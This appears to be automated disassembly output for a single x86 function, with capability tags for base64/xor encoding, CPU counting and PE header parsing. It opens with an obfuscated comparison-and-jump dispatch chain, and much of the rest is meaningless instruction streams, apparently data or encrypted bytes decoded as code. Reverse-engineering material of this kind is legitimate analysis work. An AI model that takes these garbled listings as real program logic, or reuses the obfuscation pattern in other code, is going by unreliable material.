Function at 0x6e18c5b6
Capabilities:
Encode data using base64
Encode data using xor
Get number of processors
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0xa4
mov dword [ebp - 0x10], 0xef008
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x18], 0xf39c7
mov dword [ebp - 0x14], 0
mov eax, dword [ebp - 0x18]
mov edx, dword [ebp - 0x14]
sub eax, dword [ebp - 0x10]
sbb edx, dword [ebp - 0xc]
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], edx
mov eax, dword [ebp - 0x20]
xor eax, 0xe178d
or eax, dword [ebp - 0x1c]
je 0x6e19caad
mov edx, 0xe178d
mov eax, 0
cmp edx, dword [ebp - 0x20]
sbb eax, dword [ebp - 0x1c]
jl 0x6e1a577a
mov eax, dword [ebp - 0x20]
xor eax, 0xde52a
or eax, dword [ebp - 0x1c]
je 0x6e195555
mov edx, 0xde52a
mov eax, 0
cmp edx, dword [ebp - 0x20]
sbb eax, dword [ebp - 0x1c]
jl 0x6e1a577a
mov eax, dword [ebp - 0x20]
xor eax, 0xd7940
or eax, dword [ebp - 0x1c]
je 0x6e18f775
mov edx, 0xd7940
mov eax, 0
cmp edx, dword [ebp - 0x20]
sbb eax, dword [ebp - 0x1c]
jl 0x6e1a577a
mov eax, dword [ebp - 0x20]
xor eax, 0xd37d6
or eax, dword [ebp - 0x1c]
je 0x6e19b335
mov edx, 0xd37d6
mov eax, 0
cmp edx, dword [ebp - 0x20]
sbb eax, dword [ebp - 0x1c]
jl 0x6e1a577a
mov eax, dword [ebp - 0x20]
xor eax, 0xd2706
or eax, dword [ebp - 0x1c]
je 0x6e19f99d
mov edx, 0xd2706
mov eax, 0
cmp edx, dword [ebp - 0x20]
sbb eax, dword [ebp - 0x1c]
jl 0x6e1a577a
mov eax, dword [ebp - 0x20]
xor eax, 0xc4492
or eax, dword [ebp - 0x1c]
je 0x6e18dffd
mov edx, 0xc4492
mov eax, 0
cmp edx, dword [ebp - 0x20]
sbb eax, dword [ebp - 0x1c]
jl 0x6e1a577a
mov eax, dword [ebp - 0x20]
xor eax, 0xbf34a
or eax, dword [ebp - 0x1c]
je 0x6e1a4005
mov edx, 0xbf34a
mov eax, 0
cmp edx, dword [ebp - 0x20]
sbb eax, dword [ebp - 0x1c]
jl 0x6e1a577a
mov eax, dword [ebp - 0x20]
xor eax, 0x9df0d
or eax, dword [ebp - 0x1c]
je 0x6e1a1115
mov edx, 0x9df0d
mov eax, 0
cmp edx, dword [ebp - 0x20]
sbb eax, dword [ebp - 0x1c]
jl 0x6e1a577a
mov eax, dword [ebp - 0x20]
xor eax, 0x923b8
or eax, dword [ebp - 0x1c]
je 0x6e199bbd
mov edx, 0x923b8
mov eax, 0
cmp edx, dword [ebp - 0x20]
sbb eax, dword [ebp - 0x1c]
jl 0x6e1a577a
mov eax, dword [ebp - 0x20]
xor eax, 0x916a6
or eax, dword [ebp - 0x1c]
je 0x6e18c885
mov edx, 0x916a6
mov eax, 0
cmp edx, dword [ebp - 0x20]
sbb eax, dword [ebp - 0x1c]
jl 0x6e1a577a
mov eax, dword [ebp - 0x20]
xor eax, 0x8b8d3
or eax, dword [ebp - 0x1c]
je 0x6e196ccd
mov edx, 0x8b8d3
mov eax, 0
cmp edx, dword [ebp - 0x20]
sbb eax, dword [ebp - 0x1c]
jl 0x6e1a577a
mov eax, dword [ebp - 0x20]
xor eax, 0x83012
or eax, dword [ebp - 0x1c]
je 0x6e193ddd
mov edx, 0x83012
mov eax, 0
cmp edx, dword [ebp - 0x20]
sbb eax, dword [ebp - 0x1c]
jl 0x6e1a577a
mov eax, dword [ebp - 0x20]
xor eax, 0x511bb
or eax, dword [ebp - 0x1c]
je 0x6e1a288d
mov edx, 0x511bb
mov eax, 0
cmp edx, dword [ebp - 0x20]
sbb eax, dword [ebp - 0x1c]
jl 0x6e1a577a
mov eax, dword [ebp - 0x20]
xor eax, 0x4848b
or eax, dword [ebp - 0x1c]
je 0x6e19e225
mov edx, 0x4848b
mov eax, 0
cmp edx, dword [ebp - 0x20]
sbb eax, dword [ebp - 0x1c]
jl 0x6e1a577a
mov eax, dword [ebp - 0x20]
xor eax, 0x2ce60
or eax, dword [ebp - 0x1c]
je 0x6e190eed
mov edx, 0x2ce60
mov eax, 0
cmp edx, dword [ebp - 0x20]
sbb eax, dword [ebp - 0x1c]
jl 0x6e1a577a
mov eax, dword [ebp - 0x20]
xor eax, 0x25004
or eax, dword [ebp - 0x1c]
je 0x6e198445
mov edx, 0x25004
mov eax, 0
cmp edx, dword [ebp - 0x20]
sbb eax, dword [ebp - 0x1c]
jl 0x6e1a577a
mov eax, dword [ebp - 0x20]
xor eax, 0x38d8
or eax, dword [ebp - 0x1c]
je 0x6e192665
mov eax, dword [ebp - 0x20]
xor eax, 0x49bf
or eax, dword [ebp - 0x1c]
je 0x6e1a577d
jmp 0x6e1a577a
pop ss
and dword [edx + 0x41], ebp
pushfd
dec edi
xchg al, dl
push edx
sub al, 0xad
mov dword [0xe1e73a27], eax
inc edx
and eax, 0x2f40658
mov gs, word [edi - 0x7a]
mov eax, 0x80c0cb0f
add al, 0xde
aam 0xeb
sbb byte [edx + edx*2], dh
adc byte [eax + 0x52], ch
dec ebx
push ecx
mov ah, dl
xchg edx, eax
salc
push edx
add al, 0x60
mov eax, dword [0xe0dcb356]
in eax, dx
jo 0x6e18c8e6
jne 0x6e18c8d7
adc byte [edi], 0x3a
dec edi
int3
sbb dword [esi + 0x7ea8d9e5], edx
xchg esi, eax
and eax, 0x4fb3a83c
dec eax
sub ch, cl
xchg edx, eax
scasd eax, dword es:[edi]
inc ecx
sbb cl, byte [eax]
outsd dx, dword [esi]
sbb ah, al
adc esi, dword [ecx]
mov al, 0x91
lodsb al, byte [esi]
mov bh, 0xc1
out dx, eax
out 0x47, eax
invalid
sub dword [esi + 0x71ded2b0], edx
les ebp, [edi - 0x3693ef2a]
xchg byte [ebx - 0x33], cl
test dword [ebx + 0x3f], ecx
xchg dword [edi - 3], ecx
pop es
lds ebp, [ecx + 0x4cf384c0]
xchg byte [edi], cl
cli
mov esp, 0x845dfd9a
jmp 0x254be9bd
adc ebp, edx
xor eax, 0xcf20b91d
cwde
pop ss
pop ebx
cmpsd dword [esi], dword es:[edi]
xchg ebx, eax
add eax, 0xacefce37
sbb byte [ecx], ah
and dh, 0x95
out 0x95, al
jo 0x6e18f721
adc byte [eax + ebp*4], bh
mov edx, 0xda1860b7
pop ds
mov ah, 0xa9
push ebx
pop ss
sbb esp, dword [ecx + 0x2e]
salc
imul edx, dword [eax + 0x65], 0xffffffc5
int1
cld
cmpsb byte [esi], byte es:[edi]
mov ah, byte [esi - 0x668072ce]
cdq
mov edx, 0x71768ec0
int3
imul eax, dword [ebx + 0x3043a6c], 0xffffff91
fiadd word [ebx + 0x23]
sub cl, byte [ebx]
wait
fisubr word [eax + 0x9e9cc90]
pushal
add dword [eax], eax
pop ds
je 0x6e18f756
adc al, 1
jae 0x6e18f75f
lcall 0x4761, 0x8824701f
mov esp, 0xb7cca572
pushal
fbld tbyte [ebp + 0x65385794]
wait
in eax, dx
daa
inc edi
and al, 0x55
inc edi
stosd dword es:[edi], eax
pop edi
adc esi, dword [esi + 0x47403892]
jnp 0x6e18f735
lcall 0xb77a, 0xee0e3e6e
invalid
mov esp, 0xf8eccb3a
inc byte [edx - 0x4c]
sahf
xchg edx, eax
cmp eax, 0xe71f5888
xchg edx, eax
push ebp
mov byte [0x38cd5cc4], al
jmp 0x8a222520
wait
inc ecx
pushfd
sal edx, 1
jns 0x6e19269f
lcall 0xd49d, 0x9fdac6f9
and eax, 0xb6d8a8e3
pop esp
invalid
lahf
dec esi
cmp esi, dword [edi - 0x1e]
pop ebp
pop es
test dword [ebp - 0x2d152dff], eax
pop ss
inc ebx
mov eax, 0x6f468fa7
jbe 0x6e192727
std
push ebx
push 0xffffffffffffff91
cmpsd dword [esi], dword es:[edi]
and eax, 0xd4598bef
dec edi
sal ch, 0x23
xor cl, byte [esi]
cwde
dec esi
add bl, byte [ebp + 3]
inc eax
add ecx, dword [esi + 0x25c3ba8f]
movsb byte es:[edi], byte [esi]
or dword [edx + 0x3adb2eb5], eax
jne 0x6e192734
cld
add dword [edi + 0x3f34b07e], 0xe62949e6
movsd dword es:[edi], dword [esi]
jmp 0x6e192740
dec esi
sbb dh, byte [ebp - 0x3b]
mov dl, 0xf0
leave
ja 0x6e192724
dec esp
ret
jnp 0x6e19274d
mov eax, 0xdf7c3fae
sbb eax, 0xf727b4
fadd qword [0x7717094c]
fld dword [eax + edx*8 - 0x70]
int3
test dword [eax], 0x94c05dc
pop ss
ja 0x6e192709
inc esp
rcl byte [eax + 0x45e77dcc]
jge 0x6e19271d
inc ebp
test al, 0x14
sbb dword [ebx], edx
daa
neg byte [edi]
add byte [edi + 0x65], cl
jb 0x6e192756
jb 0x6e192756
mov eax, 0xe44a12d6
sub edx, dword [ecx]
dec ecx
sub al, 0x6f
adc edx, dword [edi + 0x6dd9cba]
dec eax
retf 0xd6f1
salc
pop esp
push ds
sbb eax, 0x75c7297c
aas
lds ecx, [ecx]
push cs
mov dword [0xc9bf585f], eax
fcomi st(0)
push 0xffffffffffffffeb
xor dword [ebx - 0x5d], ecx
mov cl, byte [eax + ebx*2]
fdiv qword [0xbce0595b]
and al, 8
add al, 0x7c
add ebx, edx
hlt
add al, 0x6c
mov byte [0x6d20cf5], al
sbb al, 9
stosd dword es:[edi], eax
pop ebp
and eax, 0x302dd2f5
mov dh, 0xf7
invalid
xchg esp, eax
sub al, 0xc1
out 0x11, eax
js 0x6e19555c
aaa
dec esp
outsb dx, byte [esi]
pushfd
jecxz 0x6e195571
mov ch, 0x33
sbb al, 0x6e
inc ebp
stc
mov bh, byte [ebx - 0x4e]
out 0x7c, al
aam 8
xchg esp, eax
invalid
cmpsd dword [esi], dword es:[edi]
dec ecx
ljmp 0x64f4
mov ebp, 0x8a022c72
xchg ebx, eax
mov dh, 0x5c
add al, 0x84
jb 0x6e196c70
salc
out dx, al
retf 0x6971
ret 0xd3f5
xor eax, 0xd23e86e4
sbb byte [edx - 7], dl
in al, 0x86
rcr byte ds:[eax], cl
push edx
stc
fdivr dword [eax + 0x59]
or dl, byte [ebp - 0x59]
in al, dx
dec esp
xor eax, 0xf2a6cb71
cmpsb byte [esi], byte es:[edi]
jb 0x6e199bbe
stc
mov ebp, 0xc260e701
adc al, 0x93
outsb dx, byte [esi]
sbb eax, 0xf261c902
fstp xword fs:[ebp - 0x2235d039]
mov bh, 0xe7
jg 0x6e199be9
fnsave dword [edi - 0x7048019]
clc
cmp ah, dl
mov dh, 0x17
push 0x5c
cmpsb byte [esi], byte es:[edi]
fsubr qword [ebx - 0x77f395a]
out 0x73, eax
cmp dword [ebx], 0x5f2e5239
invalid
std
adc ch, byte [ecx]
mov ebx, 0xed85dbf1
xor dword [eax - 0x37], esi
cmp ebx, dword [ebx - 0x3a4bb09f]
sub eax, dword [esi - 0x6d6d8df5]
xchg ebp, eax
invalid
in al, dx
daa
add al, 0x30
aaa
mov al, 0xc9
push ss
invalid
xlatb
ret
je 0x6e19f9d8
movups xmm7, xmm3
add eax, 0xc5fd2bdd
xchg ecx, eax
retf 0xbf5e
scasd eax, dword es:[edi]
pop ebx
ljmp 0xd4f1
push ecx
mov esi, 0xa888552c
lahf
jg 0x6e1a1069
push ecx
mov cl, 6
add al, 0x10
invalid
lahf
jmp 0x1f6a5763
rol byte [esi + 0x50], 1
mov cl, 0x48
outsb dx, byte [esi]
call 0xaf854c8d
mov dword [0x75f8d8f9], eax
adc dword [ebp + 0x569d36b7], 0x60
ja 0x6e1a10d2
in eax, 0xf4
leave
xchg ecx, eax
stosb byte es:[edi], al
or al, 0xbc
mov al, 0x8f
lds ebx, [ebx]
ljmp 0xf2b2
push cs
salc
test cl, ch
mov eax, dword [ecx]
cmc
invalid
sbb byte [eax], dh
jg 0x6e1a105d
cdq
lodsb al, byte [esi]
wait
test eax, 0x9d87b376
cvttps2pi mm7, qword [ecx]
cmc
jbe 0x6e1a108f
xchg dword [ebp - 0xac6d3f1], ebx
sub byte [esi], 0x29
wait
jno 0x6e1a113c
cmp dh, byte [ebp + 0x297169ed]
mov eax, 0x279bdb2a
fbld tbyte ds:[edx + 0x3b]
jl 0x6e1a110a
jnp 0x6e1a108d
xchg esi, eax
jbe 0x6e1a10c9
invalid
dec ebx
fild qword [edx + 0x25]
nop
int3
cdq
cmp eax, 0xfee7187a
jbe 0x6e1a10da
sub dword [ecx], esi
and byte [ebx + edx*8 + 0xa], al
pop ds
hlt
invalid
invalid
pop ss
add byte [eax], al
test eax, 0xd3cb6022
shr byte [edx], 0x64
out 0x91, eax
aad 0x3a
sbb cl, al
or ebx, eax
fbld tbyte [ebx + 0x3e]
shr byte [esi + 0x3afedbfb], 0x32
inc esi
adc eax, 0x2d7b0580
or esp, dword [ebx - 0x5c63c924]
adc bl, ch
sub edi, dword [ecx - 0x1a]
pop esi
mov ch, byte [ecx]
test dword [edx - 0x21607c4b], edx
add dword [ebp + 0x76], ecx
adc ecx, esp
pop ebx
push esp
mov esp, 0x3c5dcd63
dec ecx
cmp ebp, dword [eax - 0x4d]
xlatb
sti
cmp al, 0xb1
xchg ebp, eax
dec esp
sub dword [ebp + 0x412f78ec], esi
jp 0x6e1a4002
push 0xc790beba
shr byte [esi], 1
add esp, ebx
adc al, 0x80
add byte [edx + 0x66583e31], 0x2e
invalid
nop
jmp 0x6e1a577e
nop
mov eax, dword [0x6e93d034]
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
je 0x6e204170
mov dword [ebp - 0x30], 0xc8dad
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x38], 0x9ad35
mov dword [ebp - 0x34], 0
mov eax, dword [ebp - 0x2c]
imul eax, dword [ebp - 0x38]
mov edx, eax
mov eax, dword [ebp - 0x34]
imul eax, dword [ebp - 0x30]
lea ecx, [edx + eax]
mov eax, dword [ebp - 0x30]
mul dword [ebp - 0x38]
add ecx, edx
mov edx, ecx
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x3c], edx
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x3c], edx
mov eax, dword [ebp - 0x40]
xor eax, 0x796c3dd1
mov edx, dword [ebp - 0x3c]
xor edx, 0x79
or eax, edx
je 0x6e1b734b
mov edx, 0x796c3dd1
mov eax, 0x79
cmp edx, dword [ebp - 0x40]
sbb eax, dword [ebp - 0x3c]
jl 0x6e1b734e
mov eax, dword [ebp - 0x40]
xor eax, 0xece96
or eax, dword [ebp - 0x3c]
je 0x6e1b5bd6
mov edx, 0xece96
mov eax, 0
cmp edx, dword [ebp - 0x40]
sbb eax, dword [ebp - 0x3c]
jl 0x6e1b734e
mov eax, dword [ebp - 0x40]
xor eax, 0xe5559
or eax, dword [ebp - 0x3c]
je 0x6e1a889e
mov edx, 0xe5559
mov eax, 0
cmp edx, dword [ebp - 0x40]
sbb eax, dword [ebp - 0x3c]
jl 0x6e1b734e
mov eax, dword [ebp - 0x40]
xor eax, 0xe4f96
or eax, dword [ebp - 0x3c]
je 0x6e1a59ae
mov edx, 0xe4f96
mov eax, 0
cmp edx, dword [ebp - 0x40]
sbb eax, dword [ebp - 0x3c]
jl 0x6e1b734e
mov eax, dword [ebp - 0x40]
xor eax, 0xb74a7
or eax, dword [ebp - 0x3c]
je 0x6e1b445e
mov edx, 0xb74a7
mov eax, 0
cmp edx, dword [ebp - 0x40]
sbb eax, dword [ebp - 0x3c]
jl 0x6e1b734e
mov eax, dword [ebp - 0x40]
xor eax, 0xaed8a
or eax, dword [ebp - 0x3c]
je 0x6e1b156e
mov edx, 0xaed8a
mov eax, 0
cmp edx, dword [ebp - 0x40]
sbb eax, dword [ebp - 0x3c]
jl 0x6e1b734e
mov eax, dword [ebp - 0x40]
xor eax, 0x9dfa1
or eax, dword [ebp - 0x3c]
je 0x6e1a7126
mov edx, 0x9dfa1
mov eax, 0
cmp edx, dword [ebp - 0x40]
sbb eax, dword [ebp - 0x3c]
jl 0x6e1b734e
mov eax, dword [ebp - 0x40]
xor eax, 0x975ed
or eax, dword [ebp - 0x3c]
je 0x6e1ae67e
mov edx, 0x975ed
mov eax, 0
cmp edx, dword [ebp - 0x40]
sbb eax, dword [ebp - 0x3c]
jl 0x6e1b734e
mov eax, dword [ebp - 0x40]
xor eax, 0x9223e
or eax, dword [ebp - 0x3c]
je 0x6e1acf06
mov edx, 0x9223e
mov eax, 0
cmp edx, dword [ebp - 0x40]
sbb eax, dword [ebp - 0x3c]
jl 0x6e1b734e
mov eax, dword [ebp - 0x40]
xor eax, 0x83aec
or eax, dword [ebp - 0x3c]
je 0x6e1afdf6
mov edx, 0x83aec
mov eax, 0
cmp edx, dword [ebp - 0x40]
sbb eax, dword [ebp - 0x3c]
jl 0x6e1b734e
mov eax, dword [ebp - 0x40]
xor eax, 0x549d6
or eax, dword [ebp - 0x3c]
je 0x6e1aa016
mov edx, 0x549d6
mov eax, 0
cmp edx, dword [ebp - 0x40]
sbb eax, dword [ebp - 0x3c]
jl 0x6e1b734e
mov eax, dword [ebp - 0x40]
xor eax, 0xb7a7
or eax, dword [ebp - 0x3c]
je 0x6e1b2ce6
mov eax, dword [ebp - 0x40]
xor eax, 0x222b8
or eax, dword [ebp - 0x3c]
je 0x6e1ab78e
jmp 0x6e1b734e
out 0x8f, al
fnstenv [edi - 0x4d723847]
push esi
cmpsb byte [esi], byte es:[edi]
mov dh, 0x3d
ret 0x281e
aam 0x31
int1
pop es
pop ebx
cmp dword [esi + 0x9ac8db7], ecx
retf 0xeeaf
aad 0x7a
loope 0x6e1a7117
invalid
cld
out dx, eax
xchg esp, eax
jb 0x6e1a70ee
out dx, eax
xor byte [esi - 0x70], 0xcc
jmp 0x6e1b734f
pop edx
mov bl, 0xd9
inc edx
cmp ebp, dword [ebx - 0x51288861]
cmp bl, 0x49
or byte [esi - 0x6c717fc], ch
dec ebx
popal
arpl word [eax + edx*8], ax
cmp dword [ebp - 0x39704fd1], 0x593edf6f
leave
mov dh, 7
mov cl, 0x8a
leave
pop edi
out dx, al
push ebp
pop edx
or cl, al
or eax, edi
jg 0x6e1a7129
adc bh, byte [esi + 0x50]
xor cl, dl
push esp
sub esp, eax
xchg ebp, eax
dec esp
cli
xor dl, 0xb9
and al, bl
jno 0x6e1a718a
jecxz 0x6e1a71ea
mov al, byte [0x612fd35c]
cmp ecx, dword [edi - 0x56dd8cc8]
or eax, 0x69132438
sub eax, dword [esi + ebx*4]
pop edx
popfd
add al, 0x11
lcall 0x6957, 0xa3248b77
ja 0x6e1a7111
and al, 0xa3
push edi
imul ecx, dword [ecx + 0x22], 0x53306f23
js 0x6e1a71b3
dec ecx
and ah, byte [ebx]
outsd dx, dword [esi]
xor byte [ebx + 0x78], dl
and dword [ecx + 0x59], ebx
pop ecx
pop ecx
cmp eax, 0x185de02b
pop edx
mov dl, 0x1f
sbb esp, edx
les eax, [esp + ecx*2]
and edx, dword [edi - 0x36890173]
fidiv word [edx + 0x63]
daa
retf
mov byte cs:[esp], 0x53
in al, dx
jne 0x6e1a7221
arpl si, bx
fild qword [edx - 0x57]
movsb byte es:[edi], byte [esi]
vmwrite eax, dword [0xa5d46278]
arpl word [esi - 0x70], bp
xor dl, byte [esi]
invalid
dec esp
popfd
imul esp, dword [eax], 0xffffffdb
mov byte [eax + 0x4e], bh
jmp 0x6e1a7184
leave
jb 0x6e1a7248
push esp
xchg edx, eax
sal dword [ebx], 0x18
adc al, 0x75
mov cl, 0x6a
sub ah, bh
jp 0x6e1a71b8
cmp dword [eax - 5], ebx
adc edi, dword [edi + 0x514d939a]
adc dword [esi - 0x134392e8], ebx
setae bl
mov al, byte [edx + 5]
sti
nop
pop ds
xor al, 5
stosb byte es:[edi], al
xchg dl, ch
ror byte [edx - 0x42], 1
sub byte [eax - 0x27c9c73a], bl
or byte [edx], 0xd9
lahf
or eax, 0x8a29733a
xor edi, dword [ebp + 0x27]
mov ecx, 0x5044cd8c
ljmp 0x2bb0
sub al, byte [eax + 0x11]
cmp al, 0x10
test dword [ebp + 0x3d], ecx
call 0x56c9ab6a
retf
pop eax
xor bh, byte [ecx - 0x7e7739e1]
inc ebx
add al, 0xb
add eax, 0x28dd274d
ror dword [eax - 0x535bfceb], cl
sub al, 0x21
mov edi, 0xe1e92ac5
mov dword [0x44afe687], eax
mov dl, 0x2e
and al, 0xe1
sub al, 9
cmp byte [edx - 0x39060f82], bh
inc ecx
adc byte [ebx], cl
jno 0x6e1aa06f
daa
jecxz 0x6e1aa047
std
add dl, 0x8e
pop esp
mov ebx, 0x2891b26b
lds ecx, [ebp + 0x115a89cd]
sub ebx, dword [edi]
mov dword [ecx - 0x35], esp
test al, 0x8a
sbb ah, al
xchg ebx, eax
jle 0x6e1aa0e3
push ebx
pushfd
adc eax, 0x3408eb30
pop esp
js 0x6e1aa0d8
in al, 0x54
and byte [edx + 0x6cdd025c], 0x5e
add byte [edi + edi*4 + 0x489d75fa], dl
lock sbb byte [eax - 0x2fe9186d], bh
and al, dh
jb 0x6e1aa049
xchg ebx, eax
jbe 0x6e1aa0a0
iretd
int 0xed
lodsd eax, dword [esi]
lodsb al, byte [esi]
pop edi
das
sub dword [ebp - 9], edi
xor dword [eax], esp
ljmp 0xb2d2
mov al, 0xd9
xchg edx, eax
outsd dx, dword [esi]
rcl byte [edi]
pop esp
test byte [edx + 0x4e], bl
add al, 0x90
nop
int3
and eax, dword [ebx + 0x2026317c]
inc edi
mov byte [edx], bl
push ebp
pop es
cmc
xor eax, 0x4090f07a
retf 0x959f
adc eax, dword [ebx + 0x16]
mov edx, 0xaa72beac
mov ecx, 0xcd6c6a48
retf 0xf4ad
push esp
pop esp
sub dh, ch
test al, 0x6c
and ebp, dword [ecx - 0x3e]
nop
int3
push esp
or eax, 0x88489460
cmp esp, ebp
and dword [edx], 0x59ac8c19
fsub qword [ebx - 0x18fcebde]
cmpsd dword [esi], dword es:[edi]
scasb al, byte es:[edi]
jnp 0x6e1acecc
add al, 0xdc
mov ebx, 0x6774e69c
imul esi, dword [edi - 0x30], 0x2f5500a9
inc edi
lea esi, [edx + 0x61]
inc edi
in al, 0xc6
inc ecx
out 0xf4, eax
mov byte [ecx - 0x19], 0xf4
pop esi
lds edi, [esi - 0x58]
insd dword es:[edi], dx
or al, 0x79
cmp dword [eax - 0x5c], edi
in eax, 0xb1
xor ebp, 0xffffffb6
rcl dword [edx + 0x7d1cd2b], cl
mov esi, 0xddacf0f6
ja 0x6e1acef5
mov ebx, 0x2bd4dbd8
mov eax, 0xf80fc266
or dword [ebp + 0xf9f3562], edi
dec esi
adc al, 0x79
sub dh, ah
loopne 0x6e1acef7
sbb dword [eax], eax
adc esi, edi
cmc
cdq
add byte [edx + 0x67], 0xd7
xlatb
fadd st(7)
test dword [0xf4febc0], 0xb89024fd
cmp dword [eax - 0x7eec24da], eax
inc ebx
das
sub al, 0x3f
mov esp, 0xaa0c3784
loop 0x6e1acf32
rcl byte [ebp - 0x4936a78e], cl
popal
cmp dl, dl
movsd dword es:[edi], dword [esi]
loop 0x6e1acf74
adc ebx, dword [edx - 0x1a5d0d3b]
or byte [eax + eax - 0xd], ch
jne 0x6e1acf2c
sbb esi, dword [edi - 0x12]
test al, 0xbd
sti
push edi
fisub word [ebp + 0xa9fb98b]
pop esi
cmc
inc byte [ecx + 0x40]
test eax, 0x4e21be1d
test byte [edi - 0x75d6e7a9], cl
xlatb
shl edi, 0x1a
inc edi
sbb ch, byte [eax - 0x6c]
or dword [esi + 0x14], edi
jg 0x6e1acf64
int3
sub dword [eax], ecx
pop ss
sub al, 0x15
fcmovne st(0), st(5)
call 0x85caac81
adc eax, 0xda51123c
stosb byte es:[edi], al
jmp 0x6e1ae5b8
fidivr word [esi + esi*4 + 0xf]
loope 0x6e1ae5c4
retf 0x85ee
bound edx, qword [ebx]
pop ebp
sub eax, 0xd74813c7
xchg edi, eax
cmp edx, dword [esp + 0x17]
mov dl, byte [eax - 0x2595ae0e]
xchg byte [esi], bh
jmp 0x6e1ae61d
jnp 0x6e1afe5f
xor word [ecx - 0x4f4bd358], bx
pop edx
xchg ecx, eax
nop
dec ebp
test byte [ebx - 0x15e11d59], bh
add dword [ecx + 0x5865a7af], ebp
cmp al, 0x84
jl 0x6e1afe78
insd dword es:[edi], dx
insd dword es:[edi], dx
jae 0x6e1afe87
dec esp
jge 0x6e1afe41
mov edi, 0xe81fb88d
lds ebp, [edx - 0x36d109e2]
jns 0x6e1afe12
adc al, 0xc6
jb 0x6e1afe66
lcall 0x9554, 0xb096272
and cl, byte [ebx]
test al, 0x72
sub dword [ecx - 0x196b7e3e], 0xc016c582
invalid
mov ch, 0x9b
clc
xor al, 0xd3
push 0xa039adb3
movsb byte es:[edi], byte [esi]
and eax, 0x31bf2082
and byte [edi], bl
out 0xe, eax
lodsd eax, dword [esi]
cmp dword [eax + 0x208225a4], esp
mov edi, 0xe71f2031
push cs
les edi, es:[edx]
ljmp 0x8c83
cmpsb byte [esi], byte es:[edi]
fmul qword [ebx + eax*4]
mov word [esi - 5], gs
aaa
mov bh, 0x6a
jno 0x6e1afeda
les esi, [ebx]
or eax, 0x99a808c3
mov dl, 0xf2
inc edi
popfd
lcall 0x63e2, 0x25d9615a
dec ebp
xchg dword [edi + 6], edx
inc edi
cld
adc dword [ecx], edx
out dx, eax
iretd
ret
lahf
mov al, dh
test byte [eax + 0x119bc5ab], ch
inc esp
adc byte [eax - 0x221c5247], dl
mov esp, edi
dec ebx
sub eax, 0x4a6d604e
cmp byte [ebx - 0x5cb5a82], 0xd
mov dh, 0x95
in eax, dx
inc eax
outsd dx, dword [esi]
push esp
jno 0x6e1aff22
pop es
cmp byte [ebp + 0x13fde72c], ah
and dword [ecx + 0x43fcef25], 0x9db4bef
wait
mov dl, 0x5e
movsd dword es:[edi], dword [esi]
enter 0x767c, 0x68
or byte [esi + ebx*8], ch
or dword [eax], edx
push 0xa6fc7bbe
cld
cmpsb byte [esi], byte es:[edi]
xchg ecx, eax
adc esi, dword [esi]
adc al, 0xab
retf
pop ebp
add byte [eax], al
fcmovne st(0), st(4)
imul esi, dword [ebp - 0x3d9bfec8], 0x28
int 0xa4
xchg edx, eax
mov eax, dword [0x653ad36b]
std
inc ecx
fnstcw word [edx + esi*8]
outsb dx, byte [esi]
sbb esi, dword [edx]
cmpsd dword [esi], dword es:[edi]
inc eax
nop
jecxz 0x6e1b156b
in eax, dx
cmpsd dword [esi], dword es:[edi]
sahf
sti
inc ebx
out 0x95, al
mov edx, 0xd87be33e
retf
repe scasd eax, dword es:[edi]
jo 0x6e1b2c1b
test dword [ebp + 0x5054d194], edi
push esp
push eax
inc ebx
mov al, 0xde
jmp 0x6e1b2bd4
stc
mov ch, 0x78
jp 0x6e1b2c4d
xor eax, 0x449b81b8
retf 0xd09e
lds eax, [ecx + ecx*4 - 0x2c]
ja 0x6e1b2bdc
mov bl, 0x81
mov word [ebx - 0x4690f151], ds
nop
int3
out dx, al
sub dword [eax], edi
mov ss, word [esi - 0x9a42e40]
and cl, byte [esi + edi*4 + 0x63ef9265]
jno 0x6e1b2bf2
cld
add al, 0xcc
adc ah, byte [esi]
mov eax, 0xfeb5ad99
mov edi, 0xbbfc970a
xchg ebx, eax
pop ebp
add byte [ebp - 0x76387a49], 0x72
inc ebp
push 0x3d
bound ebp, qword [ebx + 0x45a339df]
iretd
mov dword [0x42cf6445], eax
sbb eax, 0x229d0027
invalid
jne 0x6e1b2c02
xor al, 7
loop 0x6e1b2ca9
aam 0x87
push esi
mov edi, 0xd040b871
aaa
xchg dword [esi - 0x41], edx
jno 0x6e1b2c33
inc eax
sal byte [edi], 1
sbb dword [eax + 0x1248faaf], edx
cmp edi, dword [ecx + 0x26]
push edi
push ecx
push ss
jp 0x6e1b2c47
stosd dword es:[edi], eax
cmp eax, 0x25ce401e
dec esp
mov ah, 0xac
outsd dx, dword [esi]
jo 0x6e1b2c6f
cdq
xor cl, byte [ebp + 0x72]
xor dl, byte [ecx + eax*2 + 0x7a]
mov ecx, 0xdd8342eb
test al, 0xa6
ffreep st(0)
invalid
invalid
ror byte [edi + 0x43ca53bc], 0x74
fstp st(0)
dec ebx
adc eax, 0x5e224105
sbb byte [0x73be2bb5], ch
add dh, dh
inc ecx
cmp eax, 0xf8908e1c
aaa
pop es
push ebp
push ds
daa
jnp 0x6e1b2d23
pop es
hlt
cmp eax, edx
add dword [esi], edi
cwde
jp 0x6e1b2c76
mov edx, eax
add byte [ecx - 0x312cbb26], ah
stosb byte es:[edi], al
pop esp
pushal
and esp, dword [eax + 0x5b]
push esi
int 0xb8
sti
pushfd
xchg dword [edx], ecx
jl 0x6e1b2ca5
cmp al, byte [eax]
jp 0x6e1b2d13
cmpsd dword [esi], dword es:[edi]
pop esp
mov bh, 0x61
dec esp
mov byte [0xe5dc43bc], al
test bh, ah
cmc
out 0xf5, eax
cmp eax, 0xcd6711b4
call 0xf433b7f2
cdq
dec ecx
jbe 0x6e1b2d3f
ret 0x29e8
sbb edx, eax
mov dword [ecx], 0x5951e9c4
jmp 0xcc5a8693
pop ecx
aas
pop esi
sbb al, 0x3e
aam 0x1b
or eax, 0x3c0e48ec
cwde
cmp byte [ebp - 0x17dee4ac], cl
mov al, byte [0x6a505e6b]
aam 0xa1
dec edi
cmpsd dword [esi], dword es:[edi]
jecxz 0x6e1b2d3d
cli
loopne 0x6e1b2dd5
inc edi
lodsd eax, dword [esi]
mov bl, 0x8b
and byte [ebp - 0x1b62fa1], dl
test eax, 0x9f0a363b
dec edi
or ebp, dword [edi - 0x6b]
jne 0x6e1b2d38
inc eax
ret
cmp dword [eax + 0x2d2b97e3], esi
